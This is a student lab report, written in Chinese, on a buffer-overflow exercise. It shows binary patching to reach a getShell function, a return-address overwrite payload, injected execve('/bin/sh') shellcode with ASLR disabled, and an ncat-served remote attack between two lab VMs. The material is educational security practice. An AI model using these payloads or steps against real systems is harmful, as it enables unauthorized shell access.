一、实验目标及内容
- 实验内容:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。 - 实验目标:理解可执行文件与机器指令
理解攻击缓冲区的结果,掌握返回地址的获取
能正确构造payload进行Bof攻击
二、实验过程
1.基础知识
linux基础知识
- ls:列出当前目录下的文件和文件夹
- cd:切换目录
- pwd:显示当前所在目录的路径
- mkdir:创建新文件夹
- cp:复制文件或文件夹
- mv:移动或重命名文件或文件夹
- rm:删除文件或文件夹
- “|”:管道
- “>”:输入、输出重定向
机器码基础知识
- NOP:空操作,直接下一条指令
- CMP:比较操作数,修改标志位
- JMP:无条件跳转
- JE/JZ:跳转指令,相等则跳转
- JNE/JNZ:跳转指令,不等则跳转
反汇编与十六进制
- 反汇编:objdump -d 操作文件
- 切换为十六进制::%!xxd
- 切换为原模式::%!xxd -r
2.实验过程
(1)进行反汇编
先使用objdump -d pwn20232416 | more
对文件进行反汇编,找到main函数、foo函数、getShell函数
根据图片可知我们需要将08048491改为0804847d,二者求差取其补码可得0xffffc3,即将命令改为e8c3(其中e8是一种特殊的 "带返回地址保存" 的跳转机器码)。所以我们接下来要做的是更改“e8d7”为“e8c3”,代码如下:
cp pwn1 pwn20232416
vi pwn20232416 #进入文件开始编辑
:%!xxd #改为16进制并更改保存
:%!xxd -r #改为原进制
再反汇编查看是否成功。
执行文件查看能否运行。
./pwn20232416
ls
(2)通过构造输入参数,造成BOF攻击,改变程序执行流
首先安装gdb,命令如下:
sudo apt update
sudo apt install gdb
安装成功截图如下:
根据上图可知堆栈缓冲区为28字节,因此我们可以据此进行缓冲区溢出攻击,即先覆盖28字节地址再将其篡改为getShell地址,这里我选择以下示例覆盖地址:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd intput #查看是否符合预期输入
符合预期输入。
然后通过管道符将input作为pwn1的输入并且使用ls命令查看是否能够运行。
(cat input; cat) | ./pwn1
ls
(3)注入Shellcode并执行
重新复制一份pwn文件命名为pwn20232416-0,通过patchelf工具设置堆栈可执行并查询是否可执行,关闭地址随机化。
patchelf --set-execstack pwn20232416-0 #设置堆栈可执行
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
more /proc/sys/kernel/randomize_va_space #查看输出是否为0,0则表示关闭地址随机化
构造要注入的payload.
Perl-e'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
打开另一个终端,将input_shellcode作为输入注入到pwn20232416-0.
使用命令来查看进程号并且启动gdb调试并设置断点。
ps -ef | grep pwn20232416-0
gdb
(gdb)attach 61728
(gdb)disassemble foo
(gdb)break *0x080484ae
查看断点地址并查看该地址存放的内容。
(gdb)info r esp
(gdb) x/16x 0xffffd35c
0xffffd35c + 0x00000004 = 0xffffd360
通过查询后计算可得到Shellcode地址后,生成输入文件。再以input_shellcode为输入运行pwn20232416-0
perl -e 'print "A" x 32 . "\x60\xd3\xff\xff"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20232416-0
(4)结合nc模拟远程攻击
首先下载ncat,命令如下:
sudo apt update
sudo apt install ncat
我在VMware上装了两个kali虚拟机,主机1是20232416szw,主机2是20232416shizw,下面是两台机器的IP地址
两个IP地址显然在同一局域网下,所以可以互相ping通,截图如下:
在主机1,模拟一个有漏洞的网络服务。同时主机2,连接主机1并发送攻击载荷:
ncat -l 192.168.46.128 -p 28234 -e ./pwn20232416 #主机1命令(cat input_shellcode; cat) | nc 192.168.46.128 28234
ls #主机2命令
ncat模拟远程攻击成功!!
三、问题及解决方案
1.管道破裂问题
这个问题总是出现在我通过管道将input作为pwn的输入时退出的问题,一开始并未找到“管道破裂”的问题所在,只能硬着头皮做下去发现后续没什么问题。后来发现这里应该是因为我在输入ls得到结果后强制退出导致的,并不影响任何实验结果。
2.execstack下载问题
这个既无法通过命令行下载,也无法通过网址下载(显示404 NOT FOUND)方法是找到可替代工具patchelf,同时指令也会对应发生一些变化,见实验过程详细步骤。
3.进程失效问题
这是因为每次运行时进程号都会改变,我刚开始将第一次进程结束时并未注意到这个问题,所以导致他一直报错,重新运行时只要找到对应的进程号即可。
4.nc无法远程连接问题
他这里出现三种问题,一种是根本没有任何反应,一种是段报错,还有一种是显示外来非法连接。需要注意的是,前两种是在同一台主机下两个终端出现的问题,最后一种是在两台kali虚拟机上出现的问题,我只解决了第三种也就是解决非法连接权限问题,那就是使用ncat命令(这是AI的解释)。
四、学习感悟及思考
这次缓冲区溢出与Shellcode注入实验,让我对程序底层执行逻辑和网络安全有了更直观的认识。从修改机器码改程序流程,到构造攻击载荷触发漏洞,再到远程攻击模拟,每一步都让我感受到技术的精妙与风险的并存。过程中解决各类问题,也锻炼了我的动手和排错能力,更让我明白网络安全领域需要对技术原理有深入理解,同时要时刻保持安全防范意识。